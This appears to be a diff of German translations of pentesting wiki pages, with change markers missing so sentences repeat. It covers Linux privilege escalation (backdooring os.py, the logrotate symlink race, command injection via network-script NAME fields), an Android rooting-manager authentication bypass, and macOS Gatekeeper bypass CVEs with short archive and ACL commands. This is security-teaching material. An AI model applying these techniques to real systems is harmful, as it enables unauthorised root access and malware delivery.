Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
Um **die Bibliothek zu backdooren**, fügen Sie einfach am Ende der os.py-Bibliothek die folgende Zeile hinzu (ändern Sie IP und PORT):
```python
@ -1336,7 +1336,7 @@ Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite
Sie können diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen.
Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Protokolle),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
@ -1344,7 +1344,7 @@ Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedeta
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **oder** ein bestehendes Skript **anzupassen**, dann ist Ihr **System kompromittiert**.
Netzwerkskripte, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
Netzwerkskripte, wie _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
@ -1360,7 +1360,7 @@ Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
**systemd** tritt als moderner Initialisierungs- und Dienstmanager auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungsprogramm auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
## Weitere Tricks
@ -1428,7 +1428,7 @@ cisco-vmanage.md
## Android-Routing-Frameworks: Missbrauch des Manager-Kanals
Android-Routing-Frameworks binden häufig einen Syscall, um privilegierte Kernel-Funktionalitäten einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-Reihenfolge oder schwachen Passwortschemata) kann es einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu rooten. Erfahren Sie hier mehr und Details zur Ausnutzung:
Android-Routing-Frameworks binden häufig einen Syscall, um privilegierte Kernel-Funktionalitäten einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-Reihenfolge oder schwache Passwortschemata) kann es einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu rooten. Erfahren Sie hier mehr und Details zur Ausnutzung:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

View File

@ -42,17 +42,17 @@ Wenn der Userspace prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) auf
- Analysiere die APK v2-Signatur und verifiziere sie gegen das offizielle Manager-Zertifikat.
- Referenzen: manager.c (Iterieren über FDs), apk_sign.c (APK v2-Verifizierung).
Wenn alle Prüfungen bestanden werden, speichert der Kernel die UID des Managers vorübergehend und akzeptiert privilegierte Befehle von dieser UID bis zum Reset.
Wenn alle Prüfungen bestanden werden, speichert der Kernel die UID des Managers vorübergehend und akzeptiert privilegierte Befehle von dieser UID bis zum Zurücksetzen.
---
## Schwachstellenklasse: Vertrauen in "die erste übereinstimmende APK" aus der FD-Iteration
## Schwachstellenklasse: Vertrauen auf "die erste übereinstimmende APK" aus der FD-Iteration
Wenn die Signaturprüfung an "der ersten übereinstimmenden /data/app/*/base.apk" bindet, die in der FD-Tabelle des Prozesses gefunden wird, wird tatsächlich nicht das eigene Paket des Aufrufers verifiziert. Ein Angreifer kann eine legitim signierte APK (die echte des Managers) vorpositionieren, sodass sie früher in der FD-Liste erscheint als die eigene base.apk.
Dieses Vertrauen durch Indirektion ermöglicht es einer unprivilegierten App, den Manager zu impersonieren, ohne den Signing-Key des Managers zu besitzen.
Ausgenutzte Schlüsselfunktionen:
- Der FD-Scan bindet nicht an die Paketidentität des Aufrufers; er vergleicht nur Pfadstrings.
- Der FD-Scan bindet nicht an die Paketidentität des Aufrufers; er vergleicht nur Pfadzeichenfolgen.
- open() gibt den niedrigsten verfügbaren FD zurück. Indem ein Angreifer zuerst niedrigere FDs schließt, kann er die Reihenfolge kontrollieren.
- Der Filter überprüft nur, dass der Pfad mit /data/app/*/base.apk übereinstimmt nicht, dass er dem installierten Paket des Aufrufers entspricht.
@ -73,7 +73,7 @@ Hochrangige Schritte:
4) Gebe privilegierte Befehle wie CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY aus, um die Erhöhung beizubehalten.
Praktische Hinweise zu Schritt 2 (FD-Reihenfolge):
- Identifiziere den FD deines Prozesses für deine eigene /data/app/*/base.apk, indem du die /proc/self/fd Symlinks durchgehst.
- Identifiziere den FD deines Prozesses für deine eigene /data/app/*/base.apk, indem du die Symlinks von /proc/self/fd durchgehst.
- Schließe einen niedrigen FD (z.B. stdin, fd 0) und öffne zuerst die legitime Manager-APK, damit sie fd 0 (oder einen Index niedriger als dein eigener base.apk fd) belegt.
- Bunde die legitime Manager-APK mit deiner App, sodass ihr Pfad den naiven Filter des Kernels erfüllt. Zum Beispiel, platziere sie unter einem Unterpfad, der mit /data/app/*/base.apk übereinstimmt.
@ -151,7 +151,7 @@ Renn-/Persistenz-Tipp:
## Erkennungs- und Minderungshinweise
Für Framework-Entwickler:
- Binden Sie die Authentifizierung an das Paket/UID des Aufrufers, nicht an beliebige FDs:
- Binden Sie die Authentifizierung an das Paket/UID des Aufrufers, nicht an willkürliche FDs:
- Bestimmen Sie das Paket des Aufrufers anhand seiner UID und überprüfen Sie es gegen die Signatur des installierten Pakets (über PackageManager), anstatt FDs zu scannen.
- Wenn nur im Kernel, verwenden Sie eine stabile Aufruferidentität (Task-Credentials) und validieren Sie auf einer stabilen Quelle der Wahrheit, die von init/userspace-Helfer verwaltet wird, nicht auf Prozess-FDs.
- Vermeiden Sie Pfad-Präfixprüfungen als Identität; sie sind für den Aufrufer trivial erfüllbar.
@ -161,11 +161,11 @@ Für Framework-Entwickler:
Für Verteidiger/Blau-Team:
- Erkennen Sie die Anwesenheit von Rooting-Frameworks und Manager-Prozessen; überwachen Sie prctl-Aufrufe mit verdächtigen magischen Konstanten (z. B. 0xDEADBEEF), wenn Sie Kernel-Telemetrie haben.
- Bei verwalteten Flotten blockieren oder alarmieren Sie über Boot-Empfänger von nicht vertrauenswürdigen Paketen, die schnell versuchen, privilegierte Manager-Befehle nach dem Booten auszuführen.
- Stellen Sie sicher, dass Geräte auf gepatchte Framework-Versionen aktualisiert werden; ungültig machen von zwischengespeicherten Manager-IDs bei Updates.
- Stellen Sie sicher, dass Geräte auf gepatchte Framework-Versionen aktualisiert werden; ungültig machen Sie zwischengespeicherte Manager-IDs bei Updates.
Einschränkungen des Angriffs:
- Betrifft nur Geräte, die bereits mit einem verwundbaren Framework gerootet sind.
- Erfordert typischerweise einen Neustart/Rennfenster, bevor der legitime Manager authentifiziert (einige Frameworks speichern die Manager-UID bis zum Zurücksetzen).
- Erfordert typischerweise ein Neustart-/Rennfenster, bevor der legitime Manager authentifiziert (einige Frameworks speichern die Manager-UID bis zum Zurücksetzen).
---
## Verwandte Hinweise zu Frameworks

View File

@ -8,7 +8,7 @@
Der Schlüsselmechanismus von Gatekeeper liegt in seinem **Überprüfungsprozess**. Es wird überprüft, ob die heruntergeladene Software **von einem anerkannten Entwickler signiert** ist, um die Authentizität der Software sicherzustellen. Darüber hinaus wird festgestellt, ob die Software **von Apple notariell beglaubigt** wurde, was bestätigt, dass sie frei von bekanntem schädlichem Inhalt ist und nach der Notarisierung nicht manipuliert wurde.
Zusätzlich verstärkt Gatekeeper die Benutzerkontrolle und Sicherheit, indem es **Benutzer auffordert, das Öffnen** der heruntergeladenen Software zum ersten Mal zu genehmigen. Diese Sicherheitsmaßnahme hilft, zu verhindern, dass Benutzer versehentlich potenziell schädlichen ausführbaren Code ausführen, den sie fälschlicherweise für eine harmlose Datendatei gehalten haben.
Zusätzlich verstärkt Gatekeeper die Benutzerkontrolle und Sicherheit, indem es **Benutzer auffordert, das Öffnen** heruntergeladener Software zum ersten Mal zu genehmigen. Diese Sicherheitsmaßnahme hilft, zu verhindern, dass Benutzer versehentlich potenziell schädlichen ausführbaren Code ausführen, den sie möglicherweise fälschlicherweise für eine harmlose Datendatei gehalten haben.
### Anwendungs-Signaturen
@ -18,13 +18,13 @@ So funktioniert es:
1. **Signieren der Anwendung:** Wenn ein Entwickler bereit ist, seine Anwendung zu verteilen, **signiert er die Anwendung mit einem privaten Schlüssel**. Dieser private Schlüssel ist mit einem **Zertifikat verbunden, das Apple dem Entwickler ausstellt**, wenn er sich im Apple Developer Program anmeldet. Der Signierungsprozess umfasst die Erstellung eines kryptografischen Hashs aller Teile der App und die Verschlüsselung dieses Hashs mit dem privaten Schlüssel des Entwicklers.
2. **Verteilen der Anwendung:** Die signierte Anwendung wird dann zusammen mit dem Zertifikat des Entwicklers verteilt, das den entsprechenden öffentlichen Schlüssel enthält.
3. **Überprüfen der Anwendung:** Wenn ein Benutzer die Anwendung herunterlädt und versucht, sie auszuführen, verwendet das Mac-Betriebssystem den öffentlichen Schlüssel aus dem Zertifikat des Entwicklers, um den Hash zu entschlüsseln. Es berechnet dann den Hash basierend auf dem aktuellen Zustand der Anwendung neu und vergleicht diesen mit dem entschlüsselten Hash. Wenn sie übereinstimmen, bedeutet dies, dass **die Anwendung seit der Signierung durch den Entwickler nicht verändert wurde**, und das System erlaubt es, die Anwendung auszuführen.
3. **Überprüfen der Anwendung:** Wenn ein Benutzer die Anwendung herunterlädt und versucht, sie auszuführen, verwendet das Mac-Betriebssystem den öffentlichen Schlüssel aus dem Zertifikat des Entwicklers, um den Hash zu entschlüsseln. Es berechnet dann den Hash basierend auf dem aktuellen Zustand der Anwendung neu und vergleicht diesen mit dem entschlüsselten Hash. Wenn sie übereinstimmen, bedeutet dies, dass **die Anwendung nicht modifiziert wurde**, seit der Entwickler sie signiert hat, und das System erlaubt es, die Anwendung auszuführen.
Anwendungs-Signaturen sind ein wesentlicher Bestandteil der Gatekeeper-Technologie von Apple. Wenn ein Benutzer versucht, **eine Anwendung zu öffnen, die aus dem Internet heruntergeladen wurde**, überprüft Gatekeeper die Anwendungs-Signatur. Wenn sie mit einem Zertifikat signiert ist, das von Apple an einen bekannten Entwickler ausgestellt wurde, und der Code nicht manipuliert wurde, erlaubt Gatekeeper die Ausführung der Anwendung. Andernfalls blockiert es die Anwendung und warnt den Benutzer.
Seit macOS Catalina **überprüft Gatekeeper auch, ob die Anwendung von Apple notariell beglaubigt wurde**, was eine zusätzliche Sicherheitsebene hinzufügt. Der Notarisierungsprozess überprüft die Anwendung auf bekannte Sicherheitsprobleme und schädlichen Code, und wenn diese Überprüfungen bestanden werden, fügt Apple der Anwendung ein Ticket hinzu, das Gatekeeper überprüfen kann.
#### Überprüfen von Signaturen
#### Signaturen überprüfen
Beim Überprüfen einer **Malware-Probe** sollten Sie immer **die Signatur** der Binärdatei überprüfen, da der **Entwickler**, der sie signiert hat, möglicherweise bereits **mit Malware in Verbindung steht.**
```bash
@ -49,7 +49,7 @@ Der Notarisierungsprozess von Apple dient als zusätzliche Sicherheitsmaßnahme,
Wenn die Software diese Inspektion ohne Bedenken **besteht**, generiert der Notary Service ein Notarisierungsticket. Der Entwickler ist dann verpflichtet, **dieses Ticket an seiner Software anzuhängen**, ein Prozess, der als 'Stapeln' bekannt ist. Darüber hinaus wird das Notarisierungsticket auch online veröffentlicht, wo Gatekeeper, Apples Sicherheitstechnologie, darauf zugreifen kann.
Bei der ersten Installation oder Ausführung der Software des Benutzers informiert die Existenz des Notarisierungstickets - ob an die ausführbare Datei angeheftet oder online gefunden - **Gatekeeper darüber, dass die Software von Apple notariell beglaubigt wurde**. Infolgedessen zeigt Gatekeeper eine beschreibende Nachricht im ersten Startdialog an, die darauf hinweist, dass die Software von Apple auf schädlichen Inhalt überprüft wurde. Dieser Prozess erhöht somit das Vertrauen der Benutzer in die Sicherheit der Software, die sie auf ihren Systemen installieren oder ausführen.
Bei der ersten Installation oder Ausführung der Software des Benutzers informiert die Existenz des Notarisierungstickets - ob an die ausführbare Datei angeheftet oder online gefunden - **Gatekeeper darüber, dass die Software von Apple notariert wurde**. Infolgedessen zeigt Gatekeeper eine beschreibende Nachricht im ersten Startdialog an, die darauf hinweist, dass die Software von Apple auf schädlichen Inhalt überprüft wurde. Dieser Prozess erhöht somit das Vertrauen der Benutzer in die Sicherheit der Software, die sie auf ihren Systemen installieren oder ausführen.
### spctl & syspolicyd
@ -64,7 +64,7 @@ spctl --status
> [!CAUTION]
> Beachten Sie, dass die GateKeeper-Signaturprüfungen nur für **Dateien mit dem Quarantäneattribut** durchgeführt werden, nicht für jede Datei.
GateKeeper überprüft, ob gemäß den **Einstellungen & der Signatur** eine Binärdatei ausgeführt werden kann:
GateKeeper überprüft, ob ein Binärprogramm gemäß den **Einstellungen & der Signatur** ausgeführt werden kann:
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
@ -118,7 +118,7 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
Wenn vollständig aktiviert, wird eine neue Option erscheinen:
Wenn vollständig aktiviert, wird eine neue Option angezeigt:
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
@ -348,7 +348,7 @@ XProtect ist eine integrierte **Anti-Malware**-Funktion in macOS. XProtect **üb
Die XProtect-Datenbank wird **regelmäßig** von Apple mit neuen Malware-Definitionen aktualisiert, und diese Updates werden automatisch auf Ihrem Mac heruntergeladen und installiert. Dies stellt sicher, dass XProtect immer auf dem neuesten Stand der bekanntesten Bedrohungen ist.
Es ist jedoch erwähnenswert, dass **XProtect keine vollwertige Antivirus-Lösung ist**. Es überprüft nur eine spezifische Liste bekannter Bedrohungen und führt keine On-Access-Scans wie die meisten Antivirenprogramme durch.
Es ist jedoch erwähnenswert, dass **XProtect keine vollwertige Antivirus-Lösung ist**. Es überprüft nur eine spezifische Liste bekannter Bedrohungen und führt keine On-Access-Scans wie die meisten Antivirus-Software durch.
Sie können Informationen über das neueste XProtect-Update abrufen:
```bash
@ -372,7 +372,7 @@ Beachten Sie, dass es eine andere App in **`/Library/Apple/System/Library/CoreSe
### Nicht Gatekeeper
> [!CAUTION]
> Beachten Sie, dass Gatekeeper **nicht jedes Mal ausgeführt wird**, wenn Sie eine Anwendung ausführen, sondern _**AppleMobileFileIntegrity**_ (AMFI) nur **ausführbare Codesignaturen** überprüft, wenn Sie eine App ausführen, die bereits von Gatekeeper ausgeführt und überprüft wurde.
> Beachten Sie, dass Gatekeeper **nicht jedes Mal ausgeführt wird**, wenn Sie eine Anwendung ausführen, sondern _**AppleMobileFileIntegrity**_ (AMFI) nur **ausführbare Codesignaturen überprüft**, wenn Sie eine App ausführen, die bereits von Gatekeeper ausgeführt und überprüft wurde.
Daher war es zuvor möglich, eine App auszuführen, um sie mit Gatekeeper zu cachen, dann **nicht ausführbare Dateien der Anwendung zu modifizieren** (wie Electron asar oder NIB-Dateien) und wenn keine anderen Schutzmaßnahmen vorhanden waren, wurde die Anwendung mit den **bösartigen** Ergänzungen **ausgeführt**.
@ -384,15 +384,15 @@ Jede Möglichkeit, Gatekeeper zu umgehen (d.h. den Benutzer dazu zu bringen, etw
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Es wurde beobachtet, dass, wenn das **Archivierungsprogramm** zum Extrahieren verwendet wird, Dateien mit **Pfaden, die 886 Zeichen überschreiten**, das erweiterte Attribut com.apple.quarantine nicht erhalten. Diese Situation ermöglicht es versehentlich, dass diese Dateien die **Sicherheitsüberprüfungen von Gatekeeper** **umgehen**.
Es wurde beobachtet, dass, wenn das **Archivierungsprogramm** zum Extrahieren verwendet wird, Dateien mit **Pfaden, die 886 Zeichen überschreiten**, das erweiterte Attribut com.apple.quarantine nicht erhalten. Diese Situation ermöglicht es versehentlich, dass diese Dateien die **Sicherheitsüberprüfungen von Gatekeeper** umgehen.
Überprüfen Sie den [**originalen Bericht**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) für weitere Informationen.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Wenn eine Anwendung mit **Automator** erstellt wird, befinden sich die Informationen darüber, was sie zur Ausführung benötigt, in `application.app/Contents/document.wflow`, nicht im ausführbaren Programm. Das ausführbare Programm ist nur ein generisches Automator-Binärprogramm namens **Automator Application Stub**.
Wenn eine Anwendung mit **Automator** erstellt wird, befinden sich die Informationen darüber, was sie zur Ausführung benötigt, in `application.app/Contents/document.wflow`, nicht im ausführbaren Code. Der ausführbare Code ist nur ein generisches Automator-Binärprogramm namens **Automator Application Stub**.
Daher könnten Sie `application.app/Contents/MacOS/Automator\ Application\ Stub` **mit einem symbolischen Link auf einen anderen Automator Application Stub im System verweisen** und es wird das ausführen, was sich in `document.wflow` (Ihr Skript) befindet, **ohne Gatekeeper auszulösen**, da das tatsächliche ausführbare Programm nicht das Quarantäne-xattr hat.
Daher könnten Sie `application.app/Contents/MacOS/Automator\ Application\ Stub` **mit einem symbolischen Link auf einen anderen Automator Application Stub im System verweisen** und es wird das ausführen, was sich in `document.wflow` (Ihr Skript) befindet, **ohne Gatekeeper auszulösen**, da der tatsächliche ausführbare Code das Quarantäne-xattr nicht hat.
Beispiel für den erwarteten Speicherort: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -400,7 +400,7 @@ Beispiel für den erwarteten Speicherort: `/System/Library/CoreServices/Automato
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Bei dieser Umgehung wurde eine Zip-Datei erstellt, bei der eine Anwendung begann, von `application.app/Contents` anstelle von `application.app` zu komprimieren. Daher wurde das **Quarantäne-Attribut** auf alle **Dateien von `application.app/Contents`** angewendet, jedoch **nicht auf `application.app`**, was Gatekeeper überprüfte, sodass Gatekeeper umgangen wurde, weil `application.app` ausgelöst wurde und **nicht das Quarantäneattribut hatte.**
Bei dieser Umgehung wurde eine Zip-Datei erstellt, bei der eine Anwendung begann, von `application.app/Contents` anstelle von `application.app` zu komprimieren. Daher wurde das **Quarantäne-Attribut** auf alle **Dateien von `application.app/Contents`** angewendet, aber **nicht auf `application.app`**, was Gatekeeper überprüfte, sodass Gatekeeper umgangen wurde, weil `application.app` ausgelöst wurde und **nicht das Quarantäneattribut hatte.**
```bash
zip -r test.app/Contents test.zip
```
@ -416,7 +416,7 @@ aa archive -d test.app/Contents -o test.app.aar
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
Die ACL **`writeextattr`** kann verwendet werden, um zu verhindern, dass jemand ein Attribut in einer Datei schreibt:
Die ACL **`writeextattr`** kann verwendet werden, um zu verhindern, dass jemand ein Attribut in eine Datei schreibt:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
Die Möglichkeit, eine Datei zu erstellen, die nicht das Quarantäneattribut gesetzt hat, machte es **möglich, Gatekeeper zu umgehen.** Der Trick bestand darin, eine **DMG-Dateianwendung** unter Verwendung der AppleDouble-Namenskonvention (beginne mit `._`) zu erstellen und eine **sichtbare Datei als symbolischen Link zu dieser versteckten** Datei ohne das Quarantäneattribut zu erstellen.\
Die Möglichkeit, eine Datei zu erstellen, die nicht das Quarantäneattribut gesetzt hat, machte es **möglich, Gatekeeper zu umgehen.** Der Trick bestand darin, eine **DMG-Datei-Anwendung** unter Verwendung der AppleDouble-Namenskonvention (beginne sie mit `._`) zu erstellen und eine **sichtbare Datei als symbolischen Link zu dieser versteckten** Datei ohne das Quarantäneattribut zu erstellen.\
Wenn die **dmg-Datei ausgeführt wird**, wird sie, da sie kein Quarantäneattribut hat, **Gatekeeper umgehen.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -476,11 +476,11 @@ aa archive -d s/ -o app.aar
```
### [CVE-2023-41067]
Ein Gatekeeper-Umgehung, die in macOS Sonoma 14.0 behoben wurde, erlaubte es, manipulierte Apps ohne Aufforderung auszuführen. Details wurden nach der Behebung öffentlich bekannt gegeben, und das Problem wurde vor der Behebung aktiv ausgenutzt. Stellen Sie sicher, dass Sonoma 14.0 oder höher installiert ist.
Ein Gatekeeper-Umgehung, die in macOS Sonoma 14.0 behoben wurde, erlaubte es, manipulierte Apps ohne Aufforderung auszuführen. Details wurden nach der Behebung öffentlich bekannt gegeben, und das Problem wurde vor der Behebung aktiv ausgenutzt. Stellen Sie sicher, dass Sonoma 14.0 oder später installiert ist.
### [CVE-2024-27853]
Eine Gatekeeper-Umgehung in macOS 14.4 (veröffentlicht im März 2024), die aus der Handhabung von bösartigen ZIPs durch `libarchive` resultierte, erlaubte es Apps, die Bewertung zu umgehen. Aktualisieren Sie auf 14.4 oder höher, wo Apple das Problem behoben hat.
Eine Gatekeeper-Umgehung in macOS 14.4 (veröffentlicht im März 2024), die aus der Handhabung von bösartigen ZIPs durch `libarchive` resultierte, erlaubte es Apps, die Bewertung zu umgehen. Aktualisieren Sie auf 14.4 oder später, wo Apple das Problem behoben hat.
### Drittanbieter-Dekomprimierer, die Quarantäne falsch propagieren (20232024)

View File

@ -13,19 +13,19 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dies ist das Hauptwerkzeug, das Sie benötigen, um sich mit einem Android-Gerät (emuliert oder physisch) zu verbinden.\
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und viele andere Funktionen.
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und andere Funktionen.
Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu lernen, wie man adb verwendet.
## Smali
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die APK zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
## Weitere interessante Tricks
- [Standort im Play Store fälschen](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-basierter nicht-root privilegierter Zugriff)](shizuku-privileged-api.md)
- [Shizuku Privileged API (ADB-basierter privilegierter Zugriff ohne Root)](shizuku-privileged-api.md)
- [Ausnutzen unsicherer In-App-Update-Mechanismen](insecure-in-app-update-rce.md)
- [Missbrauch von Barrierefreiheitsdiensten (Android RAT)](accessibility-services-abuse.md)
- **APK herunterladen**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
@ -77,10 +77,10 @@ Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendun
**Schwachstellen**, die aus der **Manifest.xml** identifiziert wurden, umfassen:
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzen kann, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikat-Pins und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt.
- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
- **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeschwachstellen verwaltet werden.
- **SDK-Versionen**: Die Attribute `minSdkVersion`, `targetSDKVersion` und `maxSdkVersion` geben die unterstützten Android-Versionen an und heben die Bedeutung hervor, veraltete, anfällige Android-Versionen aus Sicherheitsgründen nicht zu unterstützen.
@ -89,8 +89,8 @@ Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel,
### Tapjacking
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opferanwendung sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opferanwendung weiterleitet.\
In der Tat **blindet es den Benutzer, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opferanwendung ausführt**.
